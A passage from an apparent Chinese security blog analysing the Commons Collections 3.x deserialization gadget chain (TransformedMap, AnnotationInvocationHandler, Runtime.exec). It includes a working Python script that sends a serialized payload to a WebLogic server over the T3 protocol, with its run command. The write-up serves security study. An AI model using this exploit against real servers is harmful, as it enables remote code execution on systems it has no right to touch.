&lt;p&gt;正确流程：我们构造的 &lt;code&gt;TransformedMap&lt;/code&gt; 在 &lt;code&gt;AnnotationInvocationHandler.readObject()&lt;/code&gt; 反序列化中对 &lt;code&gt;Map.Entry.setValue()&lt;/code&gt; （或者说是内部类 &lt;code&gt;TransformedMap$TransformedEntry&lt;/code&gt; 的setValue()方法，这个内部类的具体代码可以到&lt;code&gt;transformedMap&lt;/code&gt; 的父类 &lt;code&gt;AbstractInputCheckedMapDecorator&lt;/code&gt; 中寻找）进行了调用，这个set方法又调用了 &lt;code&gt;transformedMap&lt;/code&gt; 的 &lt;code&gt;checkSetValue()&lt;/code&gt; 方法，这个方法调用了关键的transform方法，然后打通了链子。&lt;/p&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;p&gt;根据上面的调用链我们的 &lt;code&gt;value&lt;/code&gt; 位置可以设定为任意值，因为反序列化过程中会触发 &lt;code&gt;.setValue(...)&lt;/code&gt;，而不是读取初始的值。&lt;/p&gt;
&lt;p&gt;现在的poc可以用TransformedMap的三个方法 &lt;code&gt;transformKey&lt;/code&gt; 、&lt;code&gt;transformValue&lt;/code&gt; 、&lt;code&gt;checkSetValue&lt;/code&gt; 触发transform方法，但是这三个方法的访问权限都是protected，也就是不能直接被外部访问。&lt;/p&gt;
&lt;p&gt;迂回一下，TransformedMap类中一共有三个方法访问权限是public&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    return new TransformedMap(map, keyTransformer, valueTransformer);
}

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

public void putAll(Map mapToCopy) {
    mapToCopy = this.transformMap(mapToCopy);
    this.getMap().putAll(mapToCopy);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;可以看到put方法调用了transformKey以及transformValue,这两个方法又都调用了transform方法，所以我们可以通过调用修饰函数实例化一个TransforomedMap对象，然后调用对象的put方法将我们构造的链子传入，从而执行任意命令。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;Map innermap = new HashMap();
innermap.put(&amp;quot;value&amp;quot;, &amp;quot;re111&amp;quot;);
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样我们即可进行命令执行。&lt;/p&gt;
&lt;h3 id=&#34;反序列化操作触发函数&#34;&gt;反序列化操作触发函数
&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;jdk1.7-AnnotationInvocationHandler&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;但是在现实场景中，并没有人帮我们执行这个函数。所以我们现在要开始寻找，有没有哪个类，在它的 &lt;code&gt;readObject()&lt;/code&gt; 逻辑中会触发这个动作（给Map新增元素）。&lt;/p&gt;
&lt;p&gt;这个类就是 &lt;code&gt;sun.reflect.annotation.AnnotationInvocationHandler&lt;/code&gt;，这是⼀个java的原生类。&lt;/p&gt;
&lt;p&gt;这个函数在jdk1.7中，这也是为什么要求jdk1.7环境，高版本jdk不支持的原因在后面解答。&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/20250608135804910.png&#34;
	width=&#34;2560&#34;
	height=&#34;1440&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/20250608135804910_hu3047679128671387147.png 480w, https://www.fufu.me/apache-cc3.x/images/20250608135804910_hu4253113411105463186.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image-20250608135757528&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;177&#34;
		data-flex-basis=&#34;426px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;反编译的代码，看起来有点别扭。而且因为我本机是jdk1.8，所以这个类并不是我们真正想要的。&lt;/p&gt;
&lt;p&gt;给大家推荐一个好的方式，就是去github上看，openjdk是开源的。github上还有版本管理， 然后再给大家推荐一个网站，github1s，可以在线用vscode&lt;/p&gt;
&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://github1s.com/openjdk/jdk/blob/jdk8-b40/jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHan&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;
    &gt;https://github1s.com/openjdk/jdk/blob/jdk8-b40/jdk/src/share/classes/sun/reflect/annotation/AnnotationInvocationHan
&lt;span style=&#34;white-space: nowrap;&#34;&gt;&lt;svg width=&#34;.7em&#34;
    height=&#34;.7em&#34; viewBox=&#34;0 0 21 21&#34; xmlns=&#34;http://www.w3.org/2000/svg&#34;&gt;
    &lt;path d=&#34;m13 3l3.293 3.293l-7 7l1.414 1.414l7-7L21 11V3z&#34; fill=&#34;currentColor&#34; /&gt;
    &lt;path d=&#34;M19 19H5V5h7l-2-2H5c-1.103 0-2 .897-2 2v14c0 1.103.897 2 2 2h14c1.103 0 2-.897 2-2v-5l-2-2v7z&#34;
        fill=&#34;currentColor&#34;&gt;
&lt;/svg&gt;&lt;/span&gt;

&lt;/a&gt;
&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/202506081500579.png&#34;
	width=&#34;2560&#34;
	height=&#34;1379&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/202506081500579_hu17075339667449952094.png 480w, https://www.fufu.me/apache-cc3.x/images/202506081500579_hu8705578537381364873.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_61&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;185&#34;
		data-flex-basis=&#34;445px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;我们先看这个类的构造函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;AnnotationInvocationHandler(Class&amp;lt;? extends Annotation&amp;gt; type, Map&amp;lt;String, Object&amp;gt; memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们看到，它可以接受一个Map来作为参数。&lt;/p&gt;
&lt;p&gt;然后我们再看它的 &lt;code&gt;readObject()&lt;/code&gt; 做了什么&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();


    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch (IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
    }

    Map&amp;lt;String, Class&amp;lt;?&amp;gt;&amp;gt; memberTypes = annotationType.memberTypes();

    for (Map.Entry&amp;lt;String, Object&amp;gt; memberValue : memberValues.entrySet()) {
        String name = memberValue.getKey();
        Class&amp;lt;?&amp;gt; memberType = memberTypes.get(name);
        if (memberType != null) {  // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) ||
                    value instanceof ExceptionProxy)) {
                memberValue.setValue(
                        new AnnotationTypeMismatchExceptionProxy(
                                value.getClass() + &amp;quot;[&amp;quot; + value + &amp;quot;]&amp;quot;).setMember(
                                annotationType.members().get(name)));
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;将 &lt;code&gt;memberValues&lt;/code&gt; 转化成一个set，然后再迭代一下就又取出了一个Map叫做 &lt;code&gt;memberValue&lt;/code&gt;。 我们只要将这个 &lt;code&gt;memberValue&lt;/code&gt; 设置为我们构造的一个 &lt;code&gt;TransformedMap&lt;/code&gt; 对象，然后当它在后面执行 &lt;code&gt;memberValue.setValue&lt;/code&gt; 时，就会触发我们注册的 &lt;code&gt;Transformer&lt;/code&gt;，进而执行我们为其精心设计的任意代码。&lt;/p&gt;
&lt;h3 id=&#34;内部类的调用&#34;&gt;内部类的调用
&lt;/h3&gt;&lt;p&gt;当我们想要直接new一个 &lt;code&gt;sun.reflect.annotation.AnnotationInvocationHandler&lt;/code&gt; 对象时，发现了问题，因为这是一个内部类，导致我们无法直接访问，这个时候怎么办，还是用反射。&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;Map innermap = new HashMap();
innermap.put(&amp;quot;value&amp;quot;, &amp;quot;re111&amp;quot;);  // key是&amp;quot;value&amp;quot;，这是注解方法名
Map outmap = TransformedMap.decorate(innermap, null, transformerChain);

Class cls = Class.forName(&amp;quot;sun.reflect.annotation.AnnotationInvocationHandler&amp;quot;);
Constructor ctor = cls.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);//通过setAccessible(true)的方式关闭安全检查
return ctor.newInstance(Retention.class, outmap);
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;innermapput-固定key值&#34;&gt;innermap.put 固定key值
&lt;/h3&gt;&lt;p&gt;这里明确需要明确一点&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;type = Retention.class 
memberValues = transformerdMap
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们的目的是触发对Map的写入操作，所以我们的目标是触发 &lt;code&gt;memberValue.setValue&lt;/code&gt; 这条逻辑。所以此时，如果memberValues是一个空的map，那么这个for的遍历就不会执行，所以我们需要预先给Map进行值的插入。&lt;/p&gt;
&lt;p&gt;但是要插入什么呢？&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;String name = memberValue.getKey(); //Map可控，所以key可控
Class&amp;lt;?&amp;gt; memberType = memberTypes.get(name);
if (memberType != null) { //!要求在memberType中也有这个key
 ...
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;所以我们要了解 &lt;code&gt;memberTypes&lt;/code&gt; 是怎么来的&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;AnnotationType annotationType = null;
        try {
annotationType = AnnotationType.getInstance(type);
        } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; all bets are off
        return;
        }

Map&amp;lt;String, Class&amp;lt;?&amp;gt;&amp;gt; memberTypes = annotationType.memberTypes();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;查看 &lt;code&gt;AnnotationType.class&lt;/code&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;public class AnnotationType {
    /*
     ...
     ...
     ...
     */
    public static synchronized AnnotationType getInstance(
            Class&amp;lt;? extends Annotation&amp;gt; annotationClass) {
        AnnotationType result = sun.misc.SharedSecrets.getJavaLangAccess().
                getAnnotationType(annotationClass);
        if (result == null)
            result = new AnnotationType((Class&amp;lt;? extends Annotation&amp;gt;) annotationClass);

        return result;
    }

    private AnnotationType(final Class&amp;lt;? extends Annotation&amp;gt; annotationClass) {
        if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException(&amp;quot;Not an annotation type&amp;quot;);

        Method[] methods =
                AccessController.doPrivileged(new PrivilegedAction&amp;lt;Method[]&amp;gt;() {
                    public Method[] run() {
                        // Initialize memberTypes and defaultValues
                        return annotationClass.getDeclaredMethods();
                    }
                });


        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + &amp;quot; has params&amp;quot;);
            String name = method.getName();
            Class&amp;lt;?&amp;gt; type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
            members.put(name, method);

            Object defaultValue = method.getDefaultValue();
            if (defaultValue != null)
                memberDefaults.put(name, defaultValue);

            members.put(name, method);
        }

        sun.misc.SharedSecrets.getJavaLangAccess().
                setAnnotationType(annotationClass, this);

        // Initialize retention, &amp;amp; inherited fields.  Special treatment
        // of the corresponding annotation types breaks infinite recursion.
        if (annotationClass != Retention.class &amp;amp;&amp;amp;
                annotationClass != Inherited.class) {
            Retention ret = annotationClass.getAnnotation(Retention.class);
            retention = (ret == null ? RetentionPolicy.CLASS : ret.value());
            inherited = annotationClass.isAnnotationPresent(Inherited.class);
        }
    }
    /*
     ...
     ...
     ...
     */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意到这里有一句&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;if (!annotationClass.isAnnotation())
            throw new IllegalArgumentException(&amp;quot;Not an annotation type&amp;quot;);
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;就是检查输入的参数是不是一个注解类，如果不是就会报错。&lt;/p&gt;
&lt;p&gt;所以这里要求第一个参数必须是一个注解类。然后&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;        Method[] methods =
                AccessController.doPrivileged(new PrivilegedAction&amp;lt;Method[]&amp;gt;() {
                    public Method[] run() {
                        // Initialize memberTypes and defaultValues
                        return annotationClass.getDeclaredMethods();
                    }
                });


        for (Method method : methods) {
            if (method.getParameterTypes().length != 0)
                throw new IllegalArgumentException(method + &amp;quot; has params&amp;quot;);
            String name = method.getName();
            Class&amp;lt;?&amp;gt; type = method.getReturnType();
            memberTypes.put(name, invocationHandlerReturnType(type));
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这里会通过反射的方式，获取该注解类所有的方法，然后再将所有的方法名塞给memberTypes这个Map&lt;/p&gt;
&lt;p&gt;而我们这里要获取的就是memberTypes&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/202506081844157.png&#34;
	width=&#34;760&#34;
	height=&#34;317&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/202506081844157_hu6194532569128885191.png 480w, https://www.fufu.me/apache-cc3.x/images/202506081844157_hu15879813456095383231.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image-20250608184416729&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;239&#34;
		data-flex-basis=&#34;575px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;所以我们的需求就变成了，对于 &lt;code&gt;sun.reflect.annotation.AnnotationInvocationHandler&lt;/code&gt; 这个类的构造函数&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;AnnotationInvocationHandler(Class&amp;lt;? extends Annotation&amp;gt; type, Map&amp;lt;String, Object&amp;gt; memberValues) {
    this.type = type;
    this.memberValues = memberValues;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;需要找到一个参数type，满足&lt;/p&gt;

  &lt;div class=&#34;admonition tip&#34;&gt;
    &lt;div class=&#34;admonition-header&#34;&gt;
      &lt;svg xmlns=&#34;http://www.w3.org/2000/svg&#34; viewBox=&#34;0 0 384 512&#34;&gt;&lt;path d=&#34;M272 384c9.6-31.9 29.5-59.1 49.2-86.2c0 0 0 0 0 0c5.2-7.1 10.4-14.2 15.4-21.4c19.8-28.5 31.4-63 31.4-100.3C368 78.8 289.2 0 192 0S16 78.8 16 176c0 37.3 11.6 71.9 31.4 100.3c5 7.2 10.2 14.3 15.4 21.4c0 0 0 0 0 0c19.8 27.1 39.7 54.4 49.2 86.2l160 0zM192 512c44.2 0 80-35.8 80-80l0-16-160 0 0 16c0 44.2 35.8 80 80 80zM112 176c0 8.8-7.2 16-16 16s-16-7.2-16-16c0-61.9 50.1-112 112-112c8.8 0 16 7.2 16 16s-7.2 16-16 16c-44.2 0-80 35.8-80 80z&#34;/&gt;&lt;/svg&gt;
      &lt;span&gt;Tip&lt;/span&gt;
    &lt;/div&gt;
      &lt;div class=&#34;admonition-content&#34;&gt;
        &lt;ol&gt;
&lt;li&gt;是一个类对象&lt;/li&gt;
&lt;li&gt;该类是一个注解类&lt;/li&gt;
&lt;li&gt;该类至少存在一个方法(记作 &lt;code&gt;methodData&lt;/code&gt;)&lt;/li&gt;
&lt;/ol&gt;
      &lt;/div&gt;
  &lt;/div&gt;
&lt;p&gt;然后我们控制参数 &lt;code&gt;memberValues&lt;/code&gt;，让它满足&lt;/p&gt;
&lt;p&gt;存在一个键值对，其 &lt;code&gt;key&lt;/code&gt; 等于 &lt;code&gt;methodData&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;我们找到了 &lt;code&gt;Retention&lt;/code&gt; 类，它是一个注解类，有一个方法叫做 &lt;code&gt;value&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/202506081849851.png&#34;
	width=&#34;1555&#34;
	height=&#34;960&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/202506081849851_hu16286542624916821193.png 480w, https://www.fufu.me/apache-cc3.x/images/202506081849851_hu3509096532262957718.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image_65&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;161&#34;
		data-flex-basis=&#34;388px&#34;
	
&gt;&lt;/p&gt;
&lt;p&gt;符合要求的类还有很多，比如 &lt;code&gt;Repeatable&lt;/code&gt;、&lt;code&gt;Target&lt;/code&gt; 等等。&lt;/p&gt;
&lt;h2 id=&#34;t3协议发送payload弹计算器&#34;&gt;t3协议发送payload弹计算器
&lt;/h2&gt;&lt;pre&gt;&lt;code class=&#34;language-python&#34;&gt;#!/usr/bin/python3
import socket
import sys
import struct

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

server_address = (sys.argv[1], int(sys.argv[2]))
print(&#39;connecting to %s port %s&#39; % server_address)
sock.connect(server_address)

# Send headers
headers = &#39;t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n&#39;
print(&#39;sending &amp;quot;%s&amp;quot;&#39; % headers)
sock.sendall(headers.encode())

data = sock.recv(1024)
print(&#39;received &amp;quot;%s&amp;quot;&#39; % data.decode(), file=sys.stderr)

payloadObj = open(sys.argv[3], &#39;rb&#39;).read()

payload = b&#39;\x00\x00\x09\xf3\x01\x65\x01\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x71\x00\x00\xea\x60\x00\x00\x00\x18\x43\x2e\xc6\xa2\xa6\x39\x85\xb5\xaf\x7d\x63\xe6\x43\x83\xf4\x2a\x6d\x92\xc9\xe9\xaf\x0f\x94\x72\x02\x79\x73\x72\x00\x78\x72\x01\x78\x72\x02\x78\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x70\x70\x70\x70\x70\x00\x00\x00\x0c\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x70\x06\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x74\x00\x12\x4c\x6a\x61\x76\x61\x2e\x6c\x61\x6e\x67\x2e\x53\x74\x72\x69\x6e\x67\x3b\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x03\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x03\x78\x70\x77\x02\x00\x00\x78\xfe\x01\x00\x00&#39;
payload = payload + payloadObj
payload = payload + b&#39;\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x1d\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x43\x6c\x61\x73\x73\x54\x61\x62\x6c\x65\x45\x6e\x74\x72\x79\x2f\x52\x65\x81\x57\xf4\xf9\xed\x0c\x00\x00\x78\x70\x72\x00\x21\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x65\x65\x72\x49\x6e\x66\x6f\x58\x54\x74\xf3\x9b\xc9\x08\xf1\x02\x00\x07\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x74\x00\x27\x5b\x4c\x77\x65\x62\x6c\x6f\x67\x69\x63\x2f\x63\x6f\x6d\x6d\x6f\x6e\x2f\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2f\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\x3b\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x56\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x97\x22\x45\x51\x64\x52\x46\x3e\x02\x00\x03\x5b\x00\x08\x70\x61\x63\x6b\x61\x67\x65\x73\x71\x00\x7e\x00\x03\x4c\x00\x0e\x72\x65\x6c\x65\x61\x73\x65\x56\x65\x72\x73\x69\x6f\x6e\x74\x00\x12\x4c\x6a\x61\x76\x61\x2f\x6c\x61\x6e\x67\x2f\x53\x74\x72\x69\x6e\x67\x3b\x5b\x00\x12\x76\x65\x72\x73\x69\x6f\x6e\x49\x6e\x66\x6f\x41\x73\x42\x79\x74\x65\x73\x74\x00\x02\x5b\x42\x78\x72\x00\x24\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x63\x6f\x6d\x6d\x6f\x6e\x2e\x69\x6e\x74\x65\x72\x6e\x61\x6c\x2e\x50\x61\x63\x6b\x61\x67\x65\x49\x6e\x66\x6f\xe6\xf7\x23\xe7\xb8\xae\x1e\xc9\x02\x00\x09\x49\x00\x05\x6d\x61\x6a\x6f\x72\x49\x00\x05\x6d\x69\x6e\x6f\x72\x49\x00\x0b\x70\x61\x74\x63\x68\x55\x70\x64\x61\x74\x65\x49\x00\x0c\x72\x6f\x6c\x6c\x69\x6e\x67\x50\x61\x74\x63\x68\x49\x00\x0b\x73\x65\x72\x76\x69\x63\x65\x50\x61\x63\x6b\x5a\x00\x0e\x74\x65\x6d\x70\x6f\x72\x61\x72\x79\x50\x61\x74\x63\x68\x4c\x00\x09\x69\x6d\x70\x6c\x54\x69\x74\x6c\x65\x71\x00\x7e\x00\x05\x4c\x00\x0a\x69\x6d\x70\x6c\x56\x65\x6e\x64\x6f\x72\x71\x00\x7e\x00\x05\x4c\x00\x0b\x69\x6d\x70\x6c\x56\x65\x72\x73\x69\x6f\x6e\x71\x00\x7e\x00\x05\x78\x70\x77\x02\x00\x00\x78\xfe\x00\xff\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x46\x21\x00\x00\x00\x00\x00\x00\x00\x00\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\x00\x0b\x75\x73\x2d\x6c\x2d\x62\x72\x65\x65\x6e\x73\xa5\x3c\xaf\xf1\x00\x00\x00\x07\x00\x00\x1b\x59\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\x00\x78\xfe\x01\x00\x00\xac\xed\x00\x05\x73\x72\x00\x13\x77\x65\x62\x6c\x6f\x67\x69\x63\x2e\x72\x6a\x76\x6d\x2e\x4a\x56\x4d\x49\x44\xdc\x49\xc2\x3e\xde\x12\x1e\x2a\x0c\x00\x00\x78\x70\x77\x1d\x01\x81\x40\x12\x81\x34\xbf\x42\x76\x00\x09\x31\x32\x37\x2e\x30\x2e\x31\x2e\x31\xa5\x3c\xaf\xf1\x00\x00\x00\x00\x00\x78&#39;

# adjust header for appropriate message length
payload = struct.pack(&#39;!i&#39;, len(payload)) + payload[4:]

print(&#39;sending payload...&#39;)
sock.send(payload)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;执行命令&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-shell&#34;&gt;python weblogic-t3-p3.py &amp;lt;ip&amp;gt; &amp;lt;port&amp;gt; &amp;lt;payloadFile&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&#34;https://www.fufu.me/apache-cc3.x/images/20250607120340315.png&#34;
	width=&#34;2034&#34;
	height=&#34;1082&#34;
	srcset=&#34;https://www.fufu.me/apache-cc3.x/images/20250607120340315_hu12548052784515821034.png 480w, https://www.fufu.me/apache-cc3.x/images/20250607120340315_hu12161470581768607694.png 1024w&#34;
	loading=&#34;lazy&#34;
	
		alt=&#34;image-20250607120340037&#34;
	
	
		class=&#34;gallery-image&#34; 
		data-flex-grow=&#34;187&#34;
		data-flex-basis=&#34;451px&#34;
	
&gt;&lt;/p&gt;
&lt;h2 id=&#34;调试分析验证&#34;&gt;调试分析验证
&lt;/h2&gt;&lt;p&gt;在 &lt;code&gt;AnnotationInvocationHandler&lt;/code&gt; 类中 &lt;code&gt;readObject()&lt;/code&gt; 方法下断点调试。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;调用链&lt;/strong&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;Gadget chain:
    ObjectInputStream.readObject()
      └── AnnotationInvocationHandler.readObject()
            └── AbstractInputCheckedMapDecorator$MapEntry.setValue()
                  └── TransformedMap.checkSetValue()
                        └── ChainedTransformer.transform()
                              ├── ConstantTransformer.transform()
                              ├── InvokerTransformer.transform()
                                    └── Method.invoke() → Class.getMethod()
                              ├── InvokerTransformer.transform()
                                    └── Method.invoke() → Runtime.getRuntime()
                              └── InvokerTransformer.transform()
                                    └── Method.invoke() → Runtime.exec()

Requires:
    commons-collections &amp;lt;= 3.2.1
&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&#34;readobject走到setvalue&#34;&gt;readObject()走到setValue()
&lt;/h3&gt;&lt;p&gt;下面是之前谈到的 &lt;code&gt;readObject()&lt;/code&gt; 方法反编译的代码，我们用这个再进行一次分析&lt;/p&gt;
&lt;pre&gt;&lt;code class=&#34;language-java&#34;&gt;private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException(&amp;quot;Non-annotation type in annotation serial stream&amp;quot;);
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Map.Entry var5 = (Map.Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) &amp;amp;&amp;amp; !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + &amp;quot;[&amp;quot; + var8 + &amp;quot;]&amp;quot;)).setMember((Method)var2.members().get(var6)));
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;核心函数是Map对象var5触发setValue(),为了能走到这个分支需要条件1和2&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;var7 != null&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;!var7.isInstance(var8) &amp;amp;&amp;amp; !(var8 instanceof ExceptionProxy)&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;var7需要是个类，并且和var8的类型不相同。
var7通过var3获取到值，具体获取什么的key由 &lt;code&gt;var5(var4)&lt;/code&gt; 的Map对象决定的，可以通过类初始化传入(可控)。
var8是通过可控 &lt;code&gt;var5(var4)&lt;/code&gt; 的Map对象值决定的，条件2容易过故不展开研究。
现在 &lt;code&gt;var3.get(var6)&lt;/code&gt; key我们可控，现在需要Map类型var3，它是由 &lt;code&gt;AnnotationType.getInstance(this.type)&lt;/code&gt; 类型传入的也是类初始化传入(可控)，&lt;code&gt;AnnotationType&lt;/code&gt; 对@Target这个注解的处理，getInstance会获取到@Target的基本信息，找一个有Target注解的类即可，PoC找的就是&lt;code&gt;java.lang.annotation.Retention&lt;/code&gt;，到这条件1也达成了。&lt;/p&gt;
